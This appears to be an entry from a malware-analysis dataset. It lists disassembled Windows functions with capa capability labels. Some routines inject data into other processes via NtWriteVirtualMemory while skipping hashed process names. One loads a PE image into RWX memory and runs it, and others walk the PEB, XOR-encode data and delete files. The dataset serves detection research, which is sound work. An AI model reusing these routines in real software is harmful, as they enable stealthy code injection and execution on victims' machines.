joyce8/EMBER2024-capa huggingface dataset:
Function at 0x3332c1
Capabilities:
Get file size
Parse pe header
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
push esi
mov esi, eax
lea eax, [ebp - 0x48]
push eax
push dword [esi + 0x48]
call dword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
test eax, eax
jne 0x3332e1
inc eax
jmp 0x33345f
mov ecx, dword [ebp - 0x48]
xor eax, eax
push ebx
xor ebx, ebx
mov edx, ecx
inc eax
and edx, eax
mov dword [ebp - 8], ebx
je 0x3332f6
mov dword [ebp - 8], eax
test cl, 2
je 0x3332ff
or dword [ebp - 8], 2
test cl, 4
je 0x333308
or dword [ebp - 8], 4
mov eax, ecx
and eax, 0x10
je 0x333313
or dword [ebp - 8], 0x10
test cl, 0x20
je 0x33331c
or dword [ebp - 8], 0x20
cmp eax, ebx
je 0x333329
or dword [ebp - 8], 0x40000000
jmp 0x333330
or dword [ebp - 8], 0x80000000
or dword [ebp - 8], 0x1000000
cmp edx, ebx
jne 0x333342
or dword [ebp - 8], 0x800000
push ebx
push dword [esi + 0x48]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [esi + 0x3c], eax
cmp eax, 0x28
jbe 0x333404
cmp dword [esi + 0x10], ebx
jne 0x333404
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetFilePointer]
push ebx
push ebx
push ebx
push dword [esi + 0x48]
call edi
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_ReadFile]
lea eax, [ebp - 0xc]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [esi + 0x48]
call ebx
push 0
push 0
push 0x24
push dword [esi + 0x48]
call edi
push 0
lea eax, [ebp - 0xc]
push eax
push 4
lea eax, [ebp - 0x10]
push eax
push dword [esi + 0x48]
call ebx
mov eax, 0x54ad
cmp word [ebp - 4], ax
jne 0x3333f9
mov eax, dword [ebp - 0x10]
lea ecx, [eax + 0x34]
cmp dword [esi + 0x3c], ecx
jbe 0x3333f9
push 0
push 0
push eax
push dword [esi + 0x48]
call edi
push 0
lea eax, [ebp - 0xc]
push eax
push 4
lea eax, [ebp - 0x14]
push eax
push dword [esi + 0x48]
call ebx
mov eax, dword [ebp - 0x14]
cmp eax, 0x5a4d
je 0x3333f2
cmp eax, 0x454e
je 0x3333f2
cmp eax, 0x454c
je 0x3333f2
cmp eax, 0x4550
jne 0x3333f9
or dword [ebp - 8], 0x400000
xor eax, eax
push eax
push eax
push eax
push dword [esi + 0x48]
call edi
pop edi
push dword [ebp - 0x38]
mov eax, dword [ebp - 8]
mov esi, dword [ebp + 8]
push dword [ebp - 0x3c]
mov dword [esi + 0x10], eax
call fcn.00333259
push dword [ebp - 0x30]
mov dword [esi], eax
push dword [ebp - 0x34]
call fcn.00333259
push dword [ebp - 0x40]
mov dword [esi + 4], eax
push dword [ebp - 0x44]
call fcn.00333259
mov dword [esi + 8], eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x30]
push dword [ebp - 0x34]
call fcn.00333200
movzx eax, word [ebp - 4]
movzx ecx, word [ebp - 8]
shl eax, 0x10
or eax, ecx
add esp, 0x28
mov dword [esi + 0xc], eax
xor eax, eax
pop ebx
pop esi
leave
ret
Function at 0x333b10
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, dword [ebp + 8]
test ecx, ecx
jne 0x333b22
xor eax, eax
jmp 0x333bf2
push esi
not eax
mov edx, 0xff
cmp edi, 8
jb 0x333bd6
mov esi, edi
shr esi, 3
push ebx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x323380]
movzx ebx, byte [ecx + 1]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x323380]
movzx ebx, byte [ecx + 2]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x323380]
movzx ebx, byte [ecx + 3]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x323380]
movzx ebx, byte [ecx + 4]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x323380]
movzx ebx, byte [ecx + 5]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x323380]
movzx ebx, byte [ecx + 6]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x323380]
movzx ebx, byte [ecx + 7]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x323380]
add ecx, 8
sub edi, 8
dec esi
jne 0x333b39
pop ebx
test edi, edi
je 0x333bef
movzx esi, byte [ecx]
xor esi, eax
and esi, edx
shr eax, 8
xor eax, dword [esi*4 + 0x323380]
inc ecx
dec edi
jne 0x333bda
not eax
pop esi
pop edi
pop ebp
ret

Function at 0x333bf5
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
mov eax, dword [ecx]
movsx edx, dl
xor edx, eax
push esi
mov esi, 0xff
and edx, esi
mov edx, dword [edx*4 + 0x323380]
shr eax, 8
xor edx, eax
mov eax, dword [ecx + 8]
mov dword [ecx], edx
movzx edx, dl
add edx, dword [ecx + 4]
imul edx, edx, 0x8088405
inc edx
mov dword [ecx + 4], edx
shr edx, 0x18
xor edx, eax
and edx, esi
shr eax, 8
xor eax, dword [edx*4 + 0x323380]
pop esi
mov dword [ecx + 8], eax
ret

Function at 0x333c76
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp dword [esi + 0x14], 0
jne 0x333d13
mov ecx, eax
shr ecx, 8
test byte [esi], 0x10
mov byte [ebp - 0xc], al
mov byte [ebp - 0xb], cl
je 0x333cb4
push edi
push eax
lea edi, [esi + 0x24]
push edi
call fcn.00333c53
push dword [ebp - 0xb]
mov byte [ebp - 0xc], al
push edi
call fcn.00333c53
add esp, 0x10
mov byte [ebp - 0xb], al
pop edi
test byte [esi], 1
je 0x333cde
mov eax, dword [esi + 0x1c]
lea ecx, [eax + 2]
cmp ecx, dword [esi + 0x20]
jb 0x333ccd
mov dword [esi + 0x14], 0xb
leave
ret
mov ecx, dword [esi + 4]
mov dx, word [ebp - 0xc]
mov word [eax + ecx], dx
add dword [esi + 0x1c], 2
jmp 0x333d04
push 0
lea eax, [ebp - 4]
push eax
push 2
lea eax, [ebp - 0xc]
push eax
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x333cfd
cmp dword [ebp - 4], 2
je 0x333d04
mov dword [esi + 0x14], 3
test dword [esi], 0x40000000
je 0x333d13
mov dword [esi + 0x14], 0x14
leave
ret
Function at 0x333d15
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
test edi, edi
je 0x333e3b
cmp dword [esi + 0x14], 0
jne 0x333e3b
test byte [esi], 0x10
push ebx
je 0x333dd9
mov eax, dword [esi + 0x30]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
test eax, eax
je 0x333d6d
cmp dword [esi + 0x34], edi
jae 0x333d6d
push eax
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x333d69
push dword [esi + 0x30]
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
and dword [esi + 0x30], 0
and dword [esi + 0x30], 0
cmp dword [esi + 0x30], 0
jne 0x333da1
lea eax, [edi + edi]
mov dword [esi + 0x34], eax
test eax, eax
je 0x333d8c
inc eax
push eax
push 8
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
jmp 0x333d8e
xor eax, eax
mov dword [esi + 0x30], eax
test eax, eax
jne 0x333da1
mov dword [esi + 0x14], 2
jmp 0x333e2b
push edi
push dword [ebp + 8]
push dword [esi + 0x30]
call sub.ntdll.dll_memcpy
add esp, 0xc
xor ebx, ebx
test edi, edi
je 0x333dd4
mov eax, dword [esi + 0x30]
movzx eax, byte [eax + ebx]
push eax
lea eax, [esi + 0x24]
push eax
call fcn.00333c53
pop ecx
pop ecx
mov ecx, dword [esi + 0x30]
mov byte [ebx + ecx], al
inc ebx
cmp ebx, edi
jb 0x333db6
mov ecx, dword [esi + 0x30]
jmp 0x333ddc
mov ecx, dword [ebp + 8]
test byte [esi], 1
je 0x333e0a
mov eax, dword [esi + 0x1c]
lea edx, [eax + edi]
cmp edx, dword [esi + 0x20]
jb 0x333df5
mov dword [esi + 0x14], 0xb
jmp 0x333e2b
push edi
push ecx
mov ecx, dword [esi + 4]
add ecx, eax
push ecx
call sub.ntdll.dll_memcpy
add esp, 0xc
add dword [esi + 0x1c], edi
jmp 0x333e2b
push 0
lea eax, [ebp - 4]
push eax
push edi
push ecx
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x333e24
cmp dword [ebp - 4], edi
je 0x333e2b
mov dword [esi + 0x14], 3
test dword [esi], 0x40000000
pop ebx
je 0x333e3b
mov dword [esi + 0x14], 0x14
leave
ret

Function at 0x333ec3
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [esi]
push edi
test eax, 0x40000000
je 0x333eda
mov dword [esi + 0x14], 0x14
jmp 0x333f2f
test al, al
jns 0x333f0f
mov eax, dword [esi + 0x50]
mov edi, dword [esi + 0x4c]
cmp eax, edi
jae 0x333f2f
sub edi, eax
mov dword [ebp - 4], edi
cmp edi, dword [ebp + 0xc]
jbe 0x333ef8
mov edi, dword [ebp + 0xc]
mov dword [ebp - 4], edi
mov ecx, dword [esi + 0x48]
push edi
add ecx, eax
push ecx
push dword [ebp + 8]
call sub.ntdll.dll_memcpy
add esp, 0xc
add dword [esi + 0x50], edi
jmp 0x333f36
push 0
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 0x48]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x333f33
mov dword [esi + 0x14], 7
xor eax, eax
jmp 0x333f4b
mov edi, dword [ebp - 4]
mov ecx, dword [ebp + 8]
mov eax, dword [esi + 0x44]
add dword [esi + 0x40], edi
push edi
call fcn.00333b10
mov dword [esi + 0x44], eax
pop ecx
mov eax, edi
pop edi
leave
ret
Function at 0x3349b7
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xbd0
and dword [ebp - 4], 0
push esi
push edi
mov edi, dword [ebp + 0xc]
push dword [edi]
mov esi, 0x3e8
push 0
push dword [ebp + 8]
mov dword [ebp - 8], esi
mov dword [ebp - 0x10], esi
call sub.ntdll.dll_memset
add esp, 0xc
lea eax, [ebp - 0xc]
push eax
push 0x20008
push 0xffffffffffffffff
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x334a8c
lea eax, [ebp - 0x14]
push eax
push esi
lea eax, [ebp - 0x7e8]
push eax
xor esi, esi
inc esi
push esi
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x334a8f
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xbd0]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x400]
push eax
push dword [ebp - 0x7e8]
push 0
call dword [sym.imp.ADVAPI32.dll_LookupAccountSidA]
test eax, eax
je 0x334a8f
push dword [edi]
push 0
push dword [ebp + 8]
call sub.ntdll.dll_memset
lea eax, [ebp - 0x400]
add esp, 0xc
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x334a5d
sub eax, ecx
je 0x334a84
mov ecx, dword [edi]
cmp eax, ecx
jb 0x334a71
lea eax, [ecx - 1]
push eax
lea eax, [ebp - 0x400]
push eax
push dword [ebp + 8]
call sub.ntdll.dll_memcpy
add esp, 0xc
mov eax, dword [ebp - 8]
inc eax
mov dword [edi], eax
jmp 0x334a9d
xor esi, esi
inc esi
push edi
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
je 0x334aa0
mov dword [ebp - 4], esi
mov eax, dword [ebp - 4]
pop edi
pop esi
leave
ret

Function at 0x334c3b
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
push ebx
push 0x124
xor ebx, ebx
lea eax, [ebp - 0x130]
push ebx
push eax
call sub.ntdll.dll_memset
add esp, 0xc
push ebx
push 2
mov dword [ebp - 0x134], 0x128
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
je 0x334d23
push edi
lea eax, [ebp - 5]
push eax
push ebx
push 1
push 0x14
call dword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
lea eax, [ebp - 0x134]
push eax
push dword [ebp - 4]
call sub.KERNEL32.dll_Process32First
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x334d1d
push esi
lea eax, [ebp - 0x110]
push eax
call fcn.00346dca
pop ecx
cmp dword [ebp - 0x12c], ebx
je 0x334d09
cmp eax, 0x9e7d3072
je 0x334d09
cmp eax, 0x353ecbfa
je 0x334d09
cmp eax, 0x563eb7fa
je 0x334d09
cmp eax, 0x43048a33
je 0x334d09
push dword [ebp - 0x12c]
push ebx
push 0x28
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
cmp esi, ebx
je 0x334d09
lea eax, [ebp - 0xc]
push eax
push dword [0x34e909]
push 0x34e8d9
push dword [0x34e8a0]
push esi
call dword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
push esi
call edi
lea eax, [ebp - 0x134]
push eax
push dword [ebp - 4]
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x334ca4
pop esi
push dword [ebp - 4]
call edi
pop edi
pop ebx
leave
ret
Function at 0x334d61
Capabilities:
Delete directory
Delete file
Move file
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x314
push ebx
push esi
mov esi, dword [sym.imp.SHLWAPI.dll_PathCombineA]
push edi
mov edi, 0x356c34
push edi
mov ebx, 0x356b30
push ebx
lea eax, [ebp - 0x108]
push eax
call esi
push 0x356c44
push ebx
lea eax, [ebp - 0x20c]
push eax
call esi
push 0
lea eax, [ebp - 4]
push eax
push 0x104
lea eax, [ebp - 0x314]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x334e47
mov eax, dword [ebp - 4]
test eax, eax
je 0x334e47
mov byte [ebp + eax - 0x314], 0
lea eax, [ebp - 0x314]
mov cl, byte [edi]
cmp cl, byte [eax]
jne 0x334df3
test cl, cl
je 0x334def
mov cl, byte [edi + 1]
cmp cl, byte [eax + 1]
jne 0x334df3
add edi, 2
add eax, 2
test cl, cl
jne 0x334dd3
xor eax, eax
jmp 0x334df8
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x334e47
call fcn.0032e895
mov edi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x108]
push eax
call edi
mov esi, dword [sym.imp.KERNEL32.dll_MoveFileExA]
test eax, eax
jne 0x334e27
push 4
push 0
lea eax, [ebp - 0x108]
push eax
call esi
lea eax, [ebp - 0x20c]
push eax
call edi
test eax, eax
jne 0x334e40
push 4
push eax
lea eax, [ebp - 0x20c]
push eax
call esi
push ebx
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 4
Function at 0x33517d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
cmp dword [esi + 8], 0
jne 0x335192
or eax, 0xffffffff
jmp 0x335280
mov eax, dword [esi + 4]
mov ecx, eax
shr ecx, 4
lea eax, [ecx + eax + 0x43]
mov ecx, dword [esi + 0x10]
mov dword [ebp - 4], eax
lea eax, [eax + ecx*2]
push edi
push eax
call fcn.0032c519
mov edi, eax
pop ecx
test edi, edi
jne 0x3351b9
push 0xfffffffffffffffe
jmp 0x3351dd
push 0x357d28
lea eax, [ebp - 4]
push eax
mov eax, dword [esi + 0x10]
lea eax, [edi + eax*2]
push eax
push dword [esi + 4]
push dword [esi + 8]
call fcn.0032b32f
add esp, 0x14
test eax, eax
je 0x3351e3
push 0xfffffffffffffffd
pop eax
jmp 0x33527f
mov eax, dword [esi + 0x10]
push ebx
mov ebx, dword [ebp - 4]
add eax, eax
lea ecx, [eax + ebx]
mov dword [esi + 0xc], 1
cmp ecx, dword [esi + 4]
jae 0x335216
lea ecx, [eax + edi]
push ebx
push ecx
mov ecx, dword [esi + 8]
add ecx, eax
push ecx
call sub.ntdll.dll_memcpy
push edi
call fcn.0032c56d
add esp, 0x10
jmp 0x335222
push dword [esi + 8]
call fcn.0032c56d
pop ecx
mov dword [esi + 8], edi
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 8]
mov edx, dword [esi + 4]
and dword [ebp - 4], 0
mov dword [eax + ecx], edx
mov eax, dword [esi + 0x10]
lea eax, [ebx + eax*2]
mov dword [esi + 4], eax
mov eax, dword [esi + 8]
and dword [eax], 0
mov eax, dword [esi + 0x10]
lea ecx, [ebp - 4]
push ecx
mov ecx, dword [esi + 4]
sub ecx, eax
push ecx
mov ecx, dword [esi + 8]
add ecx, eax
push ecx
call fcn.003298e4
mov ecx, dword [ebp - 4]
mov eax, dword [esi + 8]
mov dword [eax], ecx
xor ecx, ecx
add esp, 0xc
inc ecx
pop ebx
cmp dword [esi + 4], ecx
jbe 0x33527d
mov eax, dword [esi + 8]
mov dl, byte [eax + ecx - 1]
xor byte [eax + ecx], dl
inc ecx
cmp ecx, dword [esi + 4]
jb 0x33526d
xor eax, eax
pop edi
pop esi
leave
ret

Function at 0x335362
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
je 0x33537a
cmp dword [ebp + 8], 3
jne 0x3353cf
call fcn.003480e3
jmp 0x335389
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x1c]
mov eax, dword [eax + 8]
test eax, eax
je 0x3353cf
push dword [ebp + 0xc]
push eax
call fcn.0032bf8e
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x3353cf
cmp dword [ebp + 8], 3
jne 0x3353cf
mov eax, dword [esi]
cmp eax, 0x6c64746e
je 0x3353b4
cmp eax, 0x4c44544e
jne 0x3353cf
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x1c]
mov eax, dword [eax + 8]
add esi, 6
push esi
push eax
call fcn.0032bc90
mov esi, eax
mov eax, esi
pop esi
pop ebp
ret
Function at 0x337593
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
and dword [ebp - 4], 0
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [edi + 0x74], eax
mov eax, dword [edi + 0x8c]
cmp ecx, eax
jbe 0x3375b6
mov ecx, eax
mov dword [edi + 0x78], ecx
test ecx, ecx
je 0x337737
cmp dword [edi + 0x6c], 0
jne 0x337643
mov eax, dword [edi + 0x88]
test eax, eax
je 0x337643
mov ebx, 0x4000
cmp eax, ebx
jae 0x3375dc
mov ebx, eax
push dword [edi + 0x64]
mov eax, ebx
mov esi, edi
call fcn.0033210d
pop ecx
test eax, eax
je 0x33773f
sub dword [edi + 0x88], ebx
test byte [edi + 0x3c], 1
mov eax, dword [edi + 0x64]
mov dword [edi + 0x68], eax
mov dword [edi + 0x6c], ebx
je 0x337643
xor esi, esi
test ebx, ebx
je 0x337643
mov eax, dword [edi + 0x98]
mov ecx, dword [edi + 0x64]
lea edx, [esi + ecx]
and eax, 0xfffd
or eax, 2
mov ecx, eax
xor ecx, 1
imul ecx, eax
shr ecx, 8
xor byte [edx], cl
mov eax, dword [edi + 0x64]
mov dl, byte [esi + eax]
lea ecx, [edi + 0x90]
call fcn.00332085
inc esi
cmp esi, ebx
jb 0x33760c
mov ecx, dword [edi + 0x9c]
mov eax, dword [edi + 0x6c]
cmp ecx, eax
jbe 0x337652
mov ecx, eax
test ecx, ecx
je 0x33767b
mov edx, dword [edi + 0x68]
lea esi, [edx + ecx]
mov dl, byte [esi - 1]
sub eax, ecx
sub dword [edi + 0x9c], ecx
mov dword [edi + 0x6c], eax
mov dword [edi + 0x68], esi
jne 0x33767b
cmp dl, byte [edi + 0xa0]
jne 0x337748
cmp word [edi + 0x3e], 0
jne 0x3376d9
mov eax, dword [edi + 0x78]
mov esi, dword [edi + 0x6c]
cmp eax, esi
jae 0x33768e
mov esi, eax
push esi
push dword [edi + 0x68]
push dword [edi + 0x74]
call sub.ntdll.dll_memcpy
mov ecx, dword [edi + 0x74]
mov eax, dword [edi + 0x84]
push esi
call fcn.00331fab
sub dword [edi + 0x8c], esi
mov ecx, dword [edi + 0x8c]
sub dword [edi + 0x6c], esi
sub dword [edi + 0x78], esi
add dword [edi + 0x68], esi
add dword [edi + 0x7c], esi
add dword [ebp - 4], esi
mov dword [edi + 0x84], eax
mov eax, dword [edi + 0x74]
add eax, esi
add esp, 0x10
mov dword [edi + 0x74], eax
test ecx, ecx
jmp 0x33772b
mov eax, dword [edi + 0x74]
mov ebx, dword [edi + 0x7c]
push 2
lea esi, [edi + 0x68]
mov dword [ebp + 8], eax
call fcn.003372a3
pop ecx
mov dword [ebp + 0xc], eax
test eax, eax
je 0x3376f9
cmp eax, 1
jne 0x337751
mov esi, dword [edi + 0x7c]
mov ecx, dword [ebp + 8]
mov eax, dword [edi + 0x84]
sub esi, ebx
push esi
call fcn.00331fab
sub dword [edi + 0x8c], esi
add dword [ebp - 4], esi
cmp dword [ebp + 0xc], 1
mov dword [edi + 0x84], eax
mov eax, dword [edi + 0x8c]
pop ecx
je 0x337737
test eax, eax
je 0x337737
cmp dword [edi + 0x78], 0
jne 0x3375c1
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret
mov dword [edi + 8], 7
jmp 0x337758
mov dword [edi + 8], 0x13
jmp 0x337758
mov dword [edi + 8], 0x12
xor eax, eax
jmp 0x33773a
Function at 0x33775c
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
mov ebx, dword [ebp + 0xc]
push edi
push 1
push esi
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x33791f
cmp dword [esi + 0x24], 0xffffffff
je 0x33791f
mov eax, dword [ebp + 0x10]
xor edi, edi
mov dword [esi + 8], edi
test al, 1
je 0x3377de
cmp word [esi + 0x58], di
jne 0x3377ad
push ebx
mov eax, esi
call fcn.003325fd
pop ecx
cmp dword [esi + 8], edi
jne 0x337913
xor eax, eax
inc eax
mov word [esi + 0x58], ax
push dword [ebx + 0x20]
push dword [ebp + 8]
push esi
call fcn.00337593
add esp, 0xc
mov dword [ebx + 0x20], eax
cmp dword [esi + 8], edi
jne 0x3377d3
cmp dword [esi + 0x8c], edi
je 0x3377d3
push 5
jmp 0x337921
xor eax, eax
mov word [esi + 0x58], ax
jmp 0x337913
test byte [ebx + 4], 0x10
je 0x33780a
test al, 2
je 0x337803
push 1
push dword [ebp + 8]
test eax, eax
jns 0x3377f8
call fcn.00332b77
jmp 0x3377fd
call fcn.00332ac9
pop ecx
pop ecx
cmp eax, edi
je 0x337861
xor eax, eax
jmp 0x337922
cmp eax, 4
jne 0x337814
mov eax, dword [ebp + 8]
jmp 0x337859
mov dword [ebp - 4], eax
and dword [ebp - 4], 0x80000000
push edi
push dword [ebp + 8]
je 0x33782b
call fcn.00332b77
jmp 0x337830
call fcn.00332ac9
pop ecx
pop ecx
cmp eax, edi
je 0x337861
push edi
push dword [ebx + 4]
push 2
push edi
push edi
push 0x40000000
push dword [ebp + 8]
cmp dword [ebp - 4], edi
je 0x337853
call dword [sym.imp.KERNEL32.dll_CreateFileW]
jmp 0x337859
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
jne 0x33786d
mov dword [esi + 8], 1
jmp 0x337913
push ebx
mov eax, esi
call fcn.003325fd
pop ecx
cmp dword [esi + 8], edi
jne 0x337904
cmp dword [esi + 0x34], edi
jne 0x3378e5
push 0x4001
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [esi + 0x34], eax
cmp eax, edi
jne 0x3378e5
mov dword [esi + 8], 2
jmp 0x3378e5
push 0x4000
push dword [esi + 0x34]
push esi
call fcn.00337593
add esp, 0xc
mov dword [ebp - 8], eax
cmp eax, edi
je 0x3378ea
push edi
lea ecx, [ebp - 0xc]
push ecx
push eax
push dword [esi + 0x34]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x3378de
mov eax, dword [ebp - 8]
cmp dword [ebp - 0xc], eax
je 0x3378e5
mov dword [esi + 8], 3
cmp dword [esi + 8], edi
je 0x3378a8
cmp dword [esi + 8], edi
jne 0x337904
lea eax, [ebx + 0x18]
push eax
lea eax, [ebx + 8]
push eax
add ebx, 0x10
push ebx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_SetFileTime]
cmp dword [ebp + 0x10], 4
je 0x337913
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call fcn.003325a2
mov eax, dword [esi + 8]
pop ecx
jmp 0x337922
push 9
pop eax
pop edi
pop ebx
leave
ret
Function at 0x338597
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 8]
push esi
xor esi, esi
mov dword [eax], esi
mov eax, 0x5a4d
mov dword [ebp - 0xc], esi
cmp word [ebx], ax
je 0x3385bd
xor eax, eax
jmp 0x3386aa
push edi
mov edi, dword [ebx + 0x3c]
add edi, ebx
cmp dword [edi], 0x4550
jne 0x33868d
push 0x40
mov dword [ebp + 8], esi
mov eax, dword [edi + 0x50]
push 0x3000
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp + 8]
push eax
push 0xffffffffffffffff
call dword [sym.imp.ntdll.dll_NtAllocateVirtualMemory]
test eax, eax
js 0x33868d
mov eax, dword [ebp + 8]
mov dword [ebp - 8], eax
cmp eax, esi
je 0x33868d
mov esi, dword [ebp + 0x18]
mov ecx, dword [ebp - 4]
and dword [esi + 8], 0
mov dword [esi + 4], eax
mov dword [esi + 0xc], ecx
mov ecx, dword [edi + 0x54]
add ecx, dword [ebx + 0x3c]
mov dword [ebp - 0x10], eax
push ecx
push ebx
push eax
call sub.ntdll.dll_memcpy
mov eax, dword [ebx + 0x3c]
add eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 8]
push esi
push edi
mov dword [esi], eax
push ebx
mov dword [eax + 0x34], ecx
call fcn.00334221
mov ebx, dword [ebp - 8]
mov eax, ebx
add esp, 0x18
sub eax, dword [edi + 0x34]
je 0x338653
push eax
mov eax, esi
call fcn.003342a4
pop ecx
mov eax, esi
call fcn.00334315
test eax, eax
je 0x338686
mov eax, dword [esi]
mov eax, dword [eax + 0x28]
xor edi, edi
cmp eax, edi
je 0x338698
add eax, ebx
cmp eax, edi
je 0x338686
mov ecx, dword [ebp + 0xc]
mov dword [ecx], eax
mov dword [esi + 0x10], eax
cmp dword [ebp + 0x10], edi
je 0x338698
push edi
push 1
push ebx
call eax
test eax, eax
jne 0x338691
push esi
call fcn.003343f6
pop ecx
xor eax, eax
jmp 0x3386a9
mov dword [esi + 8], 1
mov eax, dword [ebp + 0xc]
cmp dword [eax], edi
je 0x3386a6
mov dword [ebp - 0xc], 1
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
leave
ret